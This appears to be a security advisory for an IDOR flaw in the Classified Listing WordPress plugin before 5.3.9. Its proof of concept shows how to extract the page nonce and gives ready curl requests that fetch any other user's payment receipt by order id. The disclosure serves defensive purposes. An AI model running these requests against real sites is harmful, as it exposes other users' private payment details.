Classified Listing < 5.3.9 – Subscriber+ Payment Receipt Disclosure via IDOR | CVE 2026-14183

Description

The plugin does not verify that the order targeted by its payment-receipt handler belongs to the requesting user, allowing authenticated users with subscriber-level access to read the payment receipt details of any other user's order.

Proof of Concept

Prerequisites:
- Classified Listing 5.3.8 active.
- Two subscriber accounts: attacker and victim.
- A payment order belonging to the victim (note its order id, e.g. 39).

Steps (as the attacker, a Subscriber):
1. Log in as the attacker and open any front-end page where the plugin's scripts load.
2. Read the rtcl nonce from the page source (the __rtcl_wpnonce value in the rtcl JS localization object).
3. Request another user's order receipt by id:

curl -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  -b "<attacker session cookies>" \
  -d "action=rtcl_payment_details_popup&__rtcl_wpnonce=<nonce>&order_id=39"

Result: HTTP 200 {"success":true,"data":{"html":"..."}} containing the victim order's payment receipt (plan name, pricing option, duration, amount, currency, receipt URL).

Control (a non-existent id returns "Order not found", confirming any valid id is processed without an ownership check):
curl -X POST "https://victim.example/wp-admin/admin-ajax.php" \
  -b "<attacker session cookies>" \
  -d "action=rtcl_payment_details_popup&__rtcl_wpnonce=<nonce>&order_id=99999"